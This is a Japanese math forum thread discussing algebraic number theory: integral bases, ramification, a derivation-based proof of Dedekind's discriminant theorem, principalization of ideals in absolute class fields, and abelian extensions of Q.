当然だよ。d(1, θ, θ^2) = -31 だろ。これが整数基でなかったら、
31に平方因子が含まれることになる(31は素数だからんなことあるわけないって)。

d(1, θ, θ^2) が仮にある素数の２乗としても、これは整数基となる。
何故なら代数体の絶対判別式の絶対値は１とはならないから。

>>624
なるほろ。そんな判定ができるのか。

学部生は慣れるまで難しいかも

もう話題変えない？>>513の問題自体は解決してんだし。
で疑問なのは
　
　Q1、K=Q(α)、αの最小多項式P(t)があたえられたときKの整数環の基底
　　　　α1、･･･、αnをαi=Pi(α)の形にあらわすQ係数の多項式Piを具体的に
　　　　あたえるアルゴリズムはあるのか？
　
　Q2、Q1の設定のもとでL=Q(β)、βの最小多項式QでLがKの絶対類体となる
　　　　Q係数の多項式Qを具体的にあたえるアルゴリズムはあるのか？
　
どうよ。

>>628

まだ終わってないんだけど（綺麗な証明を考えた）。

Ｑ1は昔ちょっと考えたことがある。
K=Q(α)でαは整とする。
L = [1, α, ... , α^(n-1)] を{1, α, ... , α^(n-1)} で生成される
アーベル群とする。αの判別式をdとすると、dA ⊂ L となる。
ここでＡはＫの主整環。よって、L ⊂ A ⊂ (1/d)L となる。
(1/d)L/L は (Z/dZ)^n と同型。よってA/Lは (Z/dZ)^nの部分群に同型。
だから、(Z/dZ)^nの各部分群に対応する(1/d)Lの部分群M(の基底)をもとめ
M が環、つまり MM ⊂ M となるか判定し、そのようなＭの極大なもの
を求めればいい。(Z/dZ)^nは位数d^nの有限群だから、以上の手続きは
有限回で終わる。ただし実用的ではないだろうが。

Ｑ２は分からん。

命題
L/Kを代数体、A, B をそれぞれ K, L の主整環とする。
さらに、LがモニックなA係数の既約多項式f(X)の分解体とする。
Kの素イデアルPがf(X)の判別式dを含まなければ、PはL/Kで不分岐。

証明
QをPの上にあるLの素イデアルとする。GをL/Kのガロワ群とする。
κ(Q) = L/Q
κ(P) = K/P
とおく。
κ(Q)はκ(P) のガロワ拡大である。

Qの分解群 Z = {σ∈G; σ(Q) = Q}とする。

標準射 Z → G(κ(Q)/κ(P)) が存在する。
これは全射で、この核は
惰性群 T = {σ∈G; α-σ(α) ∈ Q for all α ∈ B} となる。

PB = ((Q_1)...(Q_g))^e をBにおける素イデアル分解とし、
Q = Q_1 とする。

[G:Z] = g であるから、公式 n = efg より、|Z| = ef となる。
ここで、 f = [κ(Q):κ(P)]
Z/T = G(κ(Q)/κ(P)) だから |T| = e となる。
よって、e > 1 なら1と異なる σ∈ T が存在する。
よって、f(X)の根の１つをθとすると、θ-σ(θ) ∈ Q となる。
f(X)の判別式d は根の差積の２乗だから、d ∈ Q となる。
よって、d ∈ P となって矛盾。
つまり、e = 1 でなければならない。
証明終

>>629
そのままでも今回のケースぐらいならちょっとプログラムくめば
自動的にやってくれそうな気もする。今度組んでみよ。
　
＞まだ終わってないんだけど（綺麗な証明を考えた）。
　
とりあえず基底をもとめて判別式計算してどうこうって方針でとけてはいないかも
しれないけど分岐する可能性のある素数をしぼってやるって方針では
とっくにできてるんだからもう終了でいいんじゃない？

>>631

綺麗な証明と言ってるだろ。>>630理解してるのかな？
それに別証明を考えるのは有益。
因みに>>630はガロワしてるだろ。

代数体の整数基とか類数とかを求めるアルゴリズムの本があったような。
絶対類体を求めるアルゴリズムも載ってるかもしれない。

>>632
こういう書き方しかできないからこいつ嫌われるんだな。もういいや。

おいおい。俺に何を期待してるんだよ。>>630を理解してるのかなと聞いた
のがそんなに気に障るのかよ。あれでも気をつかって丁寧に書いたんだよ。

>とっくにできてるんだからもう終了でいいんじゃない？

俺が>>630を書いた直後にこれだろ。ああいう疑問が出てもしかたないだろ。

>>604
>それと加藤和也、数論２、岩波、命題6.39、p221
>命題6.39
>L,Kが代数体でL/Kは有限次ガロア拡大、α∈O_LがL=K(α)をみたすとする。
>(注O_L=O_K(α)でなくともよい。)
>このときf'(α)をふくまないO_Lの素イデアルqはL/Kで不分岐。

命題6.39は以下のように証明できる
（因みにその本は見てないし、持ってない）。

Lを含むKの最小のガロワ拡大をM/Kとする。
αのK上の共役の全体をα_1,α_2, ..., α_n とする(α=α_1)。
f'(α) = (α - α_2)...(α - α_n) となる。
Mの素イデアルPが分岐するなら、>>630の証明より、
α - α_i ∈ P となる i ≧ 2 がある。よって、f'(α) ∈ P となる。
よって、f'(α) を含まないMの素イデアルPは分岐しない。
これから、上記の命題がただちに得られる
(分岐指数は中間体での相対分岐指数の積だから)。

初歩的なことですが悩んでいます。
ある本に、K=Q(√(-5))の絶対類体が、L=K(i)と書いてあり
ました。このとき、（例えば）Kのイデアル [2, 1+√(-5)]がＬでどう
単項化されるのかわかりません。どなたか教えて
いただけないでしょうか。最初、（１＋ｉ）かと思ったのですが・・・

>>636
>命題6.39
>L,Kが代数体でL/Kは有限次ガロア拡大、α∈O_LがL=K(α)をみたすとする。
>(注O_L=O_K(α)でなくともよい。)
>このときf'(α)をふくまないO_Lの素イデアルqはL/Kで不分岐。
>
>命題6.39は以下のように証明できる

命題6.39のL/Kはガロア拡大でなくてもいい。
この拡張された命題の証明が>>636だった。
この命題はDedekindの判別定理からただちに得られるが、
ガロア群を使うことによって簡単に証明されることを示した。
因みにDedekindの判別定理の証明はちょっと厄介。
>>630の方法はDedekindの判別定理の証明に使えるだろう。

>>630の命題に関連して以下の命題を証明しよう。

命題
K/kを代数体でpをkの素イデアルでK/kで不分岐とする。
Kを含むkの最小のガロワ拡大をLとする。
pはL/kでも不分岐である。

証明
Pをpの上にあるKの素イデアルとする。
pはK/kで不分岐だから、P は K/k の共役差積イデアルD(K/k)を
割らない。D(K/k) は、K = k(α) となるα∈O_K に対する
f'(α) 全体で生成される(これをD(K/k)の定義とすることも出来る)。
ここでf(X)はαの満たすモニックなO_k係数の最小多項式。
よってα∈O_Kでf'(α) は P に含まれないようなものが存在する。
これから>>630の証明と同様にして、P が L/K で不分岐である
ことが分かる。
証明終

>>639の命題の証明にはDedekindの判別定理を使ったが、
これを使わない証明を述べる。

命題
K/kを代数体でpをkの素イデアルでK/kで不分岐とする。
Kを含むkの最小のガロワ拡大をLとする。
pはL/kでも不分岐である。

証明
pに付随する付値でkを完備化することにより、
初めからkはp進付値で完備と仮定してよい。
O_K = O_k[α] となるα∈O_K がある
(この証明は局所体を扱った数論の本には書いてあると思う)。
αの満たすモニックなO_k係数の最小多項式をf(X)とする。
pはL/kで不分岐だから、f(X) は mod p で既約因子に分解したとき
平方因子を持たない。よって f'(α) は mod P で0でない。
ここで P は p の上にある K の(ただ１つの)素イデアル。
これから>>630の証明と同様にして、P が L/K で不分岐である
ことが分かる。
証明終

非可換体の代数閉体ってあんの？

>>637　(1+i)でいいんじゃない？
2=(1+i)(1-i)だし、1+√(-5)=α・(1+i)、ただし、
α={1+√5+(√5-1)・i}/2
だし・・・　残る問題は、αがK(i)の整数かということだけど、
αの最小多項式は
x^4-2x^3+2x^2-6x+9=0
と、最高次の係数が1である多項式を満足するから整数である。
どう？　細かいところは自分でフォローしてね。

それより、K=Q(√(-5))の絶対類体が、L=K(i)であることの証明の
ほうがムズイ。２のK(i)での分岐が問題。

>>637
ある本って加藤先生の本でしょ？答えしってるくせに。

>>642　どうもありがとうございます！　もう一度
自分で考えてみます。ちなみこの例は、岩波の
「数論�T」にあったものです。絶対類体であることの証明は
あったのですが、具体的にどう単項化されるのかが
わかりませんでした。

ガロアがガロア理論を考えたのって何歳の時？

>>643
Lの整数環O_LにKの整数環O_Lの素イデアル2O_Kの上にある素イデアルが
２つ以上あることをいえばよい。pをO_Lの素イデアルでp∩O_K=2O_Kなるものとする。
O_L/pは4元体F_4と同型でφ:O_L→F_4で核がpとなるものがとれる。
σ∈Gal(L/K)を位数２の元とする。α=(1+√(-5))/2、β=(1+√(5))/2とすると
ともにO_Lの元でσ(α)=α、σ(β)=1-β、である。
F_4にはx^2+x+1=0を満たす元がちょうど２つある。
それらをu,vとする。容易にφ(α)もφ(β)もuかvのいづれかである。
φ(α)=uとして一般性をうしなわない。v=-1-uに注意すれば
φ(β)=uならα-βはkerφ=pの元でσ(α-β)=α-1+βはpの元ではない。
φ(β)=vならα-1+βはkerφ=pの元でσ(α-1+β)=α-βはpの元ではない。
よってkerφとkerφσは相ことなるO_Lの素イデアルでともに2O_Kの上にある。

>>646
ガロア理論っつっても大部分後世の人がつくったもんだろうけどガロア自身は
２０ソコソコで決闘して死んだらしいから大本の理論はそのぐらいのときに
できたんじゃね？しらんけど。それにひきかえ･･･orz･･･

Dedekindの判別定理の証明はムズイ。高木は不定元を使ったクロネッカーの
形式(form)論を使っている。一方、モダンな証明はWeilにしろLangにしろ
Neukirchにしろ局所体の理論(>>640もその一種)を使っている。
不定元を使うのも局所体を使うのもなんとなく不純な気がするのは俺だけか？
大局体のイデアル論の問題なんだから、その範囲で証明するのが望ましいと思うんだが。
そこで前に俺がアマゾンで千円台で買ったNarkievitzの本の出番となる。
この本は、そういう証明がされていると記憶している。

>>649
Narkievitzって誰？検索しても出てこない

Narkiewiczだった

>>651
これ？
http://www.amazon.co.jp/exec/obidos/ASIN/997195026X/qid=1125628702/sr=8-1/ref=sr_8_xs_ap_i1_xgl/250-8110391-1126656

違う。
"elementary and analytic theory of algebraic number fields"
というSpringerの分厚い本(400ページは超えている)。
これがなんと千円台ｗ

>>653
一万円超えてるみたいだけど・・・
http://www.amazon.com/exec/obidos/tg/detail/-/3540219021/qid=1125629293/sr=8-1/ref=sr_8_xs_ap_i1_xgl14/102-2198953-8939314?v=glance&s=books&n=507846

そりゃそうだ。いつまでも千円台なんていう超安値で売ってるわけない。
値段の付け間違いの可能性もごくわずかだがあるかもしれないｗ

圏論 / カテゴリー論 / Category Theory 2
http://science4.2ch.net/test/read.cgi/math/1089645233/

ああそういうわけですか。
で、どんな証明なんですか？
概略だけでも。

その本は今手元にないし、詳しく覚えてない。近いうちにその証明を
紹介しよう。共役差積イデアル(different)は可換環論における
微分（いわゆるΩ）と関係がある。この関係を利用したもの。

共役差積イデアル(different)はf'(α)の最大公約イデアルだから、
微分と関係あるのは当然かな。

>>653

４００ページどころじゃないな７００ページもあった

藤崎先生の体とガロア理論むずかしぃ

>>661
難しいか？ 丁寧すぎるほど丁寧なかんじするが。
ちなみにあの本、⇒って記号の使い方がちょっとヘン。

>>649に関連するけど、代数的整数論では高木の頃までイデアル論が主流
だった。ところがHasse以後、付値論が主流になった。HasseはHenselの
弟子で、Henselがイデアル論の連中から不当に無視されたと感じていたらしい。
そこで、付値論の普及につとめた。一種のリベンジみたいなものだろう。
ところが最近、イデアル論も持ち直してきた気配がある。
結局、イデアル論も付値論も両方大事だということになってきたらしい。
片方だけでは事の本質に近づけないということ(Neukirch)。

任意の有限アーベル群をガロワ群に持つＱ上のアーベル拡大体が存在する
ことを証明せよ（Neukirchの演習問題）。
ヒントは任意の整数ｎに対してp = 1 (mod n) となる素数ｐが無限に存在
することを使う。これはDirichletの素数定理の特別な場合。
このヒントを使うと解けたも同然かな。Dirichletの素数定理を使うところが
なんとも艶。

イデアル論はKummerがFermatの最終定理を証明しようとして理想数
を考えたことが淵源だという説が普及している。高木も代数的整数論
でそう書いている。ところがKummerが理想数を考えたのは
高次ベキ剰余の相互法則を究明するためだったらしい。

それでは、その高次剰余の相互法則を書き下して見せて欲しい。
（証明は略してよいから。）

Kummerの理想数ってまるで忘れ去られている。どんなものか知ってる
人間はほとんどいない。これってちょっとおかしくないか。
彼の理論がイデアル論により完全に乗り越えられたとは限らない。
現代の数論において価値がないとは言い切れないだろう。
Heckeの解説があるらしいが。

本読んで理解しても一週間したら忘れちゃう

>>664の解答しようか？

最近出た彌永「若き日の思い出」（岩波）読んだ人いる？
類体論的になかなかおもしろかったよ。それと関係ないけど、
群論に出てくるtransferという概念を用いて、類体論のなんなたらの
定理の証明を彌永が簡易化したという話に個人的に興味をひかれた。
（おれ的に）今ひとつわけのわからなかったtransferが意外なところで
役に立っていたので。。。

>>670

単項化定理。イデアルを絶対類体まで持ち上げると単項になるという。
このスレの上のほうで具体的に確かめていたろう。

>>666

いい質問だ。高次ベキ剰余の相互法則ってあまり本には書いてない。
Hasseが詳しいらしいけど。高木、Weil, Langの本は扱っていない。
それにHilbert記号の明示的な公式というのはやっと1960年代に
なってから知られた。これが複雑な公式なんだね。
加藤の本には載ってるのかな？
岩波の彌永編集の数論にはある程度書いてある(明示公式は除く)。
Neukirchも書いてある。これは明示公式は書いてあるけど
証明は載ってない。

LangってGalois理論専門の本なんか出してたっけ

それを言うなら高木もWeilも出してないっていうか、お前釣りだろ

>>649
Dedekindの判別定理のglobalな(つまり局所体を使わない)証明をする。

まず共役差積(different)の定義を思い出そう。
L/Kを代数体で、A, B をそれぞれK,Lの主整環とする。
TrをLからKへのトレース写像とする。
M(L/K) = {ξ∈B; Tr(ξB) ⊂ A} とおく。
M(L/K)は B を含むBの分数イデアルである。
D(L/K) = M(L/K)^(-1) とおく。D(L/K)をL/Kの共役差積という。
D(L/K)はLの整イデアルである。

L = K(θ) となるθ∈B に対して、F = {ξ∈B; ξB ⊂ A[θ]}
を環 A[θ] の導手(fuhrer)と呼ぶ。F は B のイデアルである。
f(X)∈A[X] をθの極小多項式とする。f'(X) をf(X)の微分とする
と、f'(θ)B = D(L/K)F という関係が成立つ。これはf(X)に関する
Eulerの公式から得られる(例えば高木の代数的整数論参照)。
PをLの(０でない)素イデアルとしたとき、P が F を含まないような
θ∈B が存在する（例えば高木）。
これから、D(L/K) はθを任意に変化させたときのf'(θ)の最大公約
イデアルであることがわかる。
（続く）

>>671
＞単項化定理。イデアルを絶対類体まで持ち上げると単項になるという。
＞このスレの上のほうで具体的に確かめていたろう。

Q(√-31）の単項化はどこでした？　見失ってしまった。

>>676

それは、ないんじゃないの。

>>675の続き

前と同様に、L/Kを代数体で、A, B をそれぞれK,Lの主整環とする。
Cを可換なB-代数とする。Cは自然にB-加群ともA-加群とみなせる。
A-加群としての射 φ:B → C で
任意のx, y∈Bにたいしてφ(xy) = xφ(y) + yφ(x)
となるものをB から C への A-微分 と呼ぶ。
φ(1) = 0 だから、 φ(A) = 0 となることに注意する。
このA-微分の全体を Der_A(B, C) または単にDer(B, C)と書く。
φ∈Der(B, C) で φ(B) に C の非零因子が含まれるとき、
φを本質的微分とよぶ。

Bの０でない素イデアルPと整数 m > 0 に対して、
B/P^mを標準射 B → B/P^m によりB-代数とみなす。
このとき次の定理が成立つ。

定理
本質的微分φ∈Der(B, B/P^m)が存在するためには D(L/K) ⊂ P^m
が必要十分である。

証明は次回にする。

（続く）

補題
L/Kを代数体で、A, B をそれぞれK,Lの主整環とする。
D(L/K)をL/Kの共役差積とする。
L = K(θ) となるθ∈B に対して、f'(θ)B = D(L/K)Fとする。
ここで F は A[θ] の導手。
P を L の素イデアルで F を含まないとする。
m > 0 を任意の整数とする。
任意のξ∈B に対して多項式 g(X)∈A[X] で
ξ = g(θ) (mod P^m) となるものが存在する。

証明
α ∈ F - P をとる。
F ⊂ A[θ] だから α = u(θ) となるu(X)∈A[X] がある。
任意のξ∈B に対して、(導手の定義より)αξ∈A[θ] だから
αξ = v(θ) となるv(X)∈A[X] がある。
α≠1 (mod P) だからα^n = 1 (mod P^m) となる整数 n > 0がある。
ξ = v(θ)α^(n-1) (mod P^m) となる。
よって、ξ = v(θ) u(θ)^(n-1) (mod P^m) となる。
よって g(X) = v(X) u(X)^(n-1) とすればよい。
証明終

補題
L/Kを代数体で、A, B をそれぞれK,Lの主整環とする。
Bの0でない素イデアルPと整数 m > 0 に対して、
φ:B → B/P^m をA-微分とする。
このとき、φ(P^(m+1)) = 0 となる。

証明
x∈P^(m+1) とする。π∈P - P^2 となるPの元πをとる。
x = π^(m+1)α/βと書ける。ここで、α,β∈B で、βはPに
含まれない。これは、LがP進離散付値を持つことから分かる。
φ(βx) = φ(π^(m+1)α) = φ(π^(m+1))α + π^(m+1)φ(α)
= φ(π^(m+1))α = (m+1)π^mφ(π)α = 0
一方、φ(βx) = φ(β)x + βφ(x) = βφ(x)
よって、βφ(x) = 0 となるが、βはPに含まれないから、
φ(x) = 0 となる。
証明終

>>678の定理の主張の前半：
本質的微分φ∈Der(B, B/P^m)が存在すれば D(L/K) ⊂ P^m となる。

証明
本質的微分φ∈Der(B, B/P^m)が存在するとする。
L = K(θ) となるθ∈B で、A[θ] の導手 F が P に含まれない
ものが存在する。
補題(>>679)より、任意のξ∈B に対して多項式 g(X)∈A[X] で
ξ = g(θ) (mod P^(m+1)) となるものが存在する。
補題(>>680)より、φ(ξ) = φ(g(θ)) となる。
φ(g(θ)) = g'(θ)φ(θ) だから、もしφ(θ) が零因子なら、
φ(ξ) も零因子になって、φが本質的微分であることに反する。
よって、φ(θ) は非零因子である。f(X)∈A[X] をθの最小多項式
とする。f(θ) = 0 だから、φ(f(θ)) = f'(θ)φ(θ) = 0 となる。
φ(θ)は非零因子だから、f'(θ) = 0 (mod P^m) となる。
f'(θ)B = D(L/K)F だから、D(L/K) ⊂ P^m となる。
証明終

>>678の定理の主張の後半：
D(L/K) ⊂ P^m なら、本質的微分φ∈Der(B, B/P^m)が存在する。

証明
L = K(θ) となるθ∈B で、A[θ] の導手 F が P に含まれない
ものが存在する。β∈ F - P をとる。F ⊂ A[θ] だから、
β= W(θ) となる W(X)∈A[X] が存在する。
導手の定義から、任意の x∈B に対して、βx = V(θ) となる
V(X)∈A[X] が存在する。βγ = 1 (mod P^m) となるγ∈B を取る。
φ(x) = (V'(θ)W(θ) - V(θ)W'(θ))γ^2 (mod P^m) と定義する。
βx = U(θ) と別のU(X)∈A[X] で表現されたとする。
f(X)∈A[X] をθの最小多項式とすると、
U(X) = V(X) + f(X)g(x) となる g(x)∈A[X] が存在する。
V'(X) = U'(X) + f'(X)g(x) + f(X)g'(X) だから、
V'(θ) = U'(θ) + f'(θ)g(θ) となる。
f'(θ)∈D(L/K) ⊂ P^m だから、
V'(θ) = U'(θ) (mod P^m) となる。
よって、φ(x) は、V(X)の取り方によらず一意に決まることがわかる。
(続く)

>>682の続き：
βθ= θW(θ) だから、
φ(θ) = ( (W(θ) + θW'(θ))W(θ) - θW(θ)W'(θ) )γ^2
= W(θ)^2γ^2 = (βγ)^2 = 1 (mod P^m)
よって、φ(θ) は、B/P^m の非零因子。
よって、φ(x) = uφ(v) + vφ(u) を示せば、証明が終わる。
ここで、u, v ∈B で x = uv。
u = U(θ)/β、v = V(θ)/βとする。ここで、U(X), V(X) ∈A[X]。
定義より、
uφ(v) = U(θ)(V'(θ)W(θ) - V(θ)W'(θ))γ^3 (mod P^m)
vφ(u) = V(θ)(U'(θ)W(θ) - U(θ)W'(θ))γ^3 (mod P^m)
よって、
uφ(v) + vφ(u) = (U(θ)V'(θ) + V(θ)U'(θ))W(θ)γ^3
- 2U(θ)V(θ)W'(θ)γ^3 (mod P^m)

x = P(θ)/βとする。ここで、P(X) ∈A[X]。
uv = x だから、U(θ)V(θ)/β^2 = P(θ)/β
よって、U(θ)V(θ) = P(θ)β = P(θ)W(θ)
U(X)V(X) = P(X)W(X) + f(X)h(X) となる h(X)∈A[X] がある。
f(X) はθの最小多項式。この等式の両辺を微分することにより、
U'(θ)V(θ) + U(θ)V'(θ) = P'(θ)W(θ) + P(θ)W'(θ) (mod P^m)
となる。よって、
uφ(v) + vφ(u) = (U(θ)V'(θ) + V(θ)U'(θ))W(θ)γ^3
- 2U(θ)V(θ)W'(θ)γ^3
= (P'(θ)W(θ) + P(θ)W'(θ))W(θ)γ^3 - 2P(θ)W(θ)W'(θ)γ^3
= (P'(θ)W(θ) - P(θ)W'(θ))W(θ)γ^3
= (P'(θ)W(θ) - P(θ)W'(θ))βγ^3
= (P'(θ)W(θ) - P(θ)W'(θ))γ^2 (mod P^m)
= φ(x)
証明終

いよいよ>>675で予告したDedekindの判別定理の証明をする。

Dedekindの判別定理
L/Kを代数体で、A, B をそれぞれK,Lの主整環とし、
D(L/K)をL/Kの共役差積とする。
Bの0でない素イデアルPと整数 e > 0 があり、qB = (P^e)I とする。
ここで、q = A∩P, I は B のイデアルで P は I を含まない。
このとき、D(L/K) ⊂ P^(e-1) となる。
さらに、e が char(B/P) で割り切れなければ、D(L/K) ⊂ P^e とならない。

証明
ここでは定理の前半の証明をする。この証明には、>>678の定理は使わない。
TrをLからKへのトレース写像とする。
まず、Tr(PI) ⊂ q を示す。これが成立つと、q^(-1)Tr(PI) ⊂ A
となるから、q^(-1)Tr(PI) = Tr(q^(-1)PI) ⊂ A となる。
よって、q^(-1)PIB = q^(-1)PI より、Tr(q^(-1)PIB) ⊂ A となる。
D(L/K)の定義から、q^(-1)PI ⊂ D(L/K)^(-1)
よって、D(L/K)PI ⊂ qB
qB = (P^e)I だから、D(L/K) ⊂ P^(e-1) となる。
よって、Tr(PI) ⊂ q を示せば前半の証明が終わる。
x∈PI とする。p^n > e となる整数 n > 0 をとれば、
x^(p^n) ∈ (PI)^(p^n) ⊂ qB となる。ここで、p = char(B/P)。
σをL/Kの共役写像の1つとする。qB = (P^e)I より、
q(σB) = ((σP)^e)σI となる。σx ∈ σPσI だから、
(σx)^(p^n) ∈ (σPσI)^(p^n) ⊂ q(σB) ⊂ qC となる。
(CはL/Kを含む最小のガロワ拡大M/Kの主整環)。
よって、Tr(x^(p^n)) = Σ(σx)^(p^n) ⊂ A∩qC = q となる。
一方、正標数 p の体では、公式 (x + y)^(p^n) = x^(p^n) + y^(p^n)
が成立つから、Tr(x^(p^n)) = Tr(x)^(p^n) (mod q) となる。
よって、Tr(x)^(p^n) ∈ q となり、q は素イデアルだから、Tr(x) ∈ q
となる。これで、定理前半の証明が終わった。
(続く)

ガロア理論と言えば、佐竹「代数学への誘い」も
ユニークなアプローチをしているので面白い本だね。
後半の方では、このスレで出てきた類体論、虚数乗法、円分体、
アデール、等々の「お話」があって飽きない。
読んだ人、結構いるんじゃない？　つるかめ算から現代代数学が
語られるのもなかなかｗ

>>684のDedekindの判別定理の後半の証明をする。

つまり、e が char(B/P) で割り切れなければ、D(L/K) ⊂ P^e とならない。

証明
>>>678の定理より、本質的微分φ∈Der(B, B/P^e)が存在しないこと
を示せばよい。つまり、φ∈Der(B, B/P^e) を任意の A-微分としたとき、
φ(B)に非零因子が含まれないことを示せばよい。
π∈ q - q^2, Π∈ P - P^2 とする。
π = (Π^e)(α/β) となるα, β ∈ B - P がある(P進付値を考えればよい)。
まず、π∈ A より、φ(π) = 0 となり、
π∈ q ⊂ P^e だから、πφ(β) = 0 に注意する。
よって、φ(βπ) = βφ(π) + πφ(β) = 0 + 0 = 0
他方、 φ(βπ) = φ((Π^e)α) = eΠ^(e-1)φ(Π)α + Π^eφ(α)
= eΠ^(e-1)φ(Π)α
よって、eΠ^(e-1)φ(Π)α = 0 となる。
eΠ^(e-1)α∈ P^e と仮定すると、e∈P となり仮定に反する。
よって、φ(Π) は零因子である。よって、φ(Π)∈ P/P^e となる。
x ∈ P とする。x = Π(γ/δ) となるγ∈ B, δ ∈ B - P がある。
φ(δx) = φ(Πγ) = Πφ(γ) + γφ(Π) ∈ P/P^e となる。
他方、φ(δx) = δφ(x) + xφ(δ) で xφ(δ) ∈ P/P^e だから、
結局、δφ(x) ∈ P/P^e となる。δ ∈ B - P だから、
φ(x) ∈ P/P^e となる。つまり、φ(x) は零因子である(P/P^eの元はべき零)。
今度は、y ∈ B - P とする。y^(N(P)-1) = 1 (mod P) となる。
ここで、 N(P) は有限体 B/P の元の個数。
よって、ある c ∈ P があり、y^(N(P)-1) = 1 + c となる。
φ(y) = (N(P)-1)y^(N(P)-2)φ(y) = φ(1 + c) = φ(1) + φ(c)
= φ(c) となる。φ(c) は上で示したように零因子であるから、
φ(y) も零因子である。
証明終

上の微分を使ったDedekindの判別定理の証明は L/K が代数体でなくても、
L/K が有限次分離拡大体で、A がDedekind環、各剰余類体 A/q が
有限体なら適用される。残念なことに剰余類体の有限性を本質的に
使っている。局所体を使う方法は、この仮定がなくても、A/q が
完全体であればよい。

>>687
>局所体を使う方法は

完備な離散付値体を使う方法は、という意味だった。
局所体というのは普通、剰余類体が有限のものをいう。

乙

共役差積については、少なくとも、もう1つ問題がある。
L/Kを代数体で、A, B をそれぞれK,Lの主整環とする。
D(L/K)をL/Kの共役差積とする。
L/Kを含む最小のガロワ拡大をM/Kとし、CをMの主整環とする。
σを単位写像でないL/Kの共役写像の1つとする。
{α - σ(α); α∈B} で生成されるCのイデアルをE(σ)と書く。
このとき、D(L/K)C = ΠE(σ) という関係がある。ここで、右辺の積
は、単位写像を除くすべての共役写像σを動くものとする。
この証明を、高木は不定元を使ったクロネッカーの形式論で証明している。
この証明の不定元を使わない証明を見たことがない。
というか、高木以降の本で上の関係式に言及した本を知らない。
久保田・黒田は扱っているかもしれない。

>>690
ふむふむ。勉強になります。

>>649

高木の本を見直したらイデアル論の範囲での判別定理の証明が
書いてあった。付記として書いてあるのと、その証明がちょっとわかり
にくいので忘れていた。だけど、この証明は貴重。

ガロワ理論からちょっと離れてるな。誰か代数的整数論のスレを
立ててくれると有難い。

>>693
整数論総合スレッド
http://science4.2ch.net/test/read.cgi/math/1090800616/

↑でいいんじゃないでしょうか？過疎化してるし。

>>694

そのスレあまり好きじゃないんだよ。整数論っていうと素人が寄って
くるだろ。フェルマーにしろゴールドバッハにしろ問題自体わかり
やすいから、とっつきやすいんだろうね。その点、代数的整数論なら
その心配がない。

>>695
おやおや、オイラースレであれだけ素人相手にいばり
ちらしていたのに。。。
208の代わりに誰か代わりに立ててやれば。

立てました。

代数的整数論
http://science4.2ch.net/test/read.cgi/math/1126510231/

有難う

208にアラされて廃墟になったスレとはここのことですか？
今度は、「数学の本」スレをアラしてるね。

691=694=697ですので。
念のため。。。

抑えきれぬ　無敵感に身を任せ　208は往く　2chの大海

>>664
>任意の有限アーベル群をガロワ群に持つＱ上のアーベル拡大体が存在する
>ことを証明せよ（Neukirchの演習問題）。

任意の有限アーベル群Gは巡回群の直積となる。
G = C(n_1)C(n_2)...C(n_r) を位数n_iの巡回群 C(n_i) の直積とする。
G の位数 n = (n_1)(n_2)...(n_r) となる。
Dirichletの素数定理より、相異なる素数 p_1, p_2, ... , p_r で
p_i = 1 (mod n) となるものが存在する。
m = (p_1)(p_2)...(p_r) としてζを1の原始m乗根とする。
Q(ζ)/Q のガロワ群 G' は (Z/mZ)^* に同型である。ここで (Z/mZ)^* は
剰余環 Z/mZ の可逆元全体のなす乗法群をあらわす。
(Z/mZ)^* = Π(Z/(p_i)Z)^* であり、(Z/(p_i)Z)^* は位数(p_i - 1)の
巡回群である。p_i = 1 (mod n_i) だから、(Z/(p_i)Z)^* は位数
m_i = (p_i - 1)/n_i の巡回群 C'(m_i) を含む。よって、G' は
C(m_1)C(m_2)...C(m_r) と同型な部分群 H を含む。
H に対応する Q(ζ) の部分体を K とする。G' はアーベル群だから、
K/Q はガロワ拡大である。K/Q のガロワ群は G'/Hに同型であり、
G'/H = Π(Z/(p_i)Z)^*/C'(m_i) = ΠC(n_i) = G に同型。
証明終

アーベルの制限をはずしても成り立つんですか？
つまり、任意の有限群をガロワ群に持つＱ上の拡大体が存在する、
は成立するんでしょうか？

>>703
未解決

208の絨毯爆撃が終わり、やっと静かになったが、
古の賑わいを取り戻すにいったいどれだけかかることか。。。

>>703
任意の有限可解群なら存在する。
（岩澤）

>>706 Danke

Q(√-31）の単項化は結局どうすればいいんだろうね。
大体わかったんだけど、最後の詰めが証明できず確信が持てない。

>>708
で、どうやんのよ？

　 　_, ,_
　（´∇`) ヨンダ？
　ノヽノヽ　=3
　　　くく
　 　_, ,_

>>709
ここも寂れたね。さて、確信はないが・・・

まず、高木の「初等整数論講義」より、Q=(√-31)のイデアル類群は、
A=[2, (3+√(-31))/2], B=[2, (-3+√(-31))/2]と書ける。ここで、
α=3√{(-1+√(-31))/2}, β=3√{(1+√(-31))/2}
とおいてやる。ただし、3√{…}は{･･･}の中の３乗根を意味する。
すると、以下のように、Aは(α)で単項化、Bは(β)で単項化されることがわかる。
βα = 3√8 = 2, (3+√(-31))/2 = α^3+2,
αβ = 3√8 = 2, (-3+√(-31))/2 = β^3-2
ただα,βが整数であることはわかるのだが、x^3+x+1=0 の分解体に
どのように属しているかがよくわからん。

細かいところを間違えていた。以下修正版。
まず、高木の「初等整数論講義」より、Q(√(-31))のイデアル類群は、
A=[2, (3+√(-31))/2], B=[2, (-3+√(-31))/2]と書ける。ここで、
α=3√{(1-√(-31))/2}, β=3√{(1+√(-31))/2}
とおいてやる。ただし、3√{…}は{･･･}の中の３乗根を意味する。
すると、以下のように、Aは(α)で単項化、Bは(β)で単項化されることがわかる。
βα = 3√(1+31) = 3√8 = 2, (3+√(-31))/2 = -α^3+2,
αβ = 3√(1+31) = 3√8 = 2, (-3+√(-31))/2 = β^3-2

ちなみに、虚二次体のイデアル類群が、E, A, A^2 のものは
>>712と似たやり方で単項化できそうだ。高木の本の付録の
表にあったやつでは出来たよ。

任意のprofinite群をガロア群にもつQの拡大体は存在するんだったっけ？

任意の有限群が出てくるかどうかすら未解決問題じゃなかったっけ？

Hand book of K-theory , Springer (Eric Friedlander & Dan Grayson)

kore yondahitoiru??

Kummerの理想数ってまるで忘れ去られている。どんなものか知ってる
人間はほとんどいない。これってちょっとおかしくないか。
彼の理論がイデアル論により完全に乗り越えられたとは限らない。
現代の数論において価値がないとは言い切れないだろう。
Heckeの解説があるらしいが。



tashikanina!!!

すまん、また細かいところ間違えた・・・
>βα = 3√(1+31) = 3√8 = 2, (3+√(-31))/2 = -α^3+2,
>αβ = 3√(1+31) = 3√8 = 2, (-3+√(-31))/2 = β^3-2
以下に修正
βα = 3√{(1+31)/4} = 3√8 = 2, (3+√(-31))/2 = -α^3+2,
αβ = 3√{(1+31)/4} = 3√8 = 2, (-3+√(-31))/2 = β^3-2

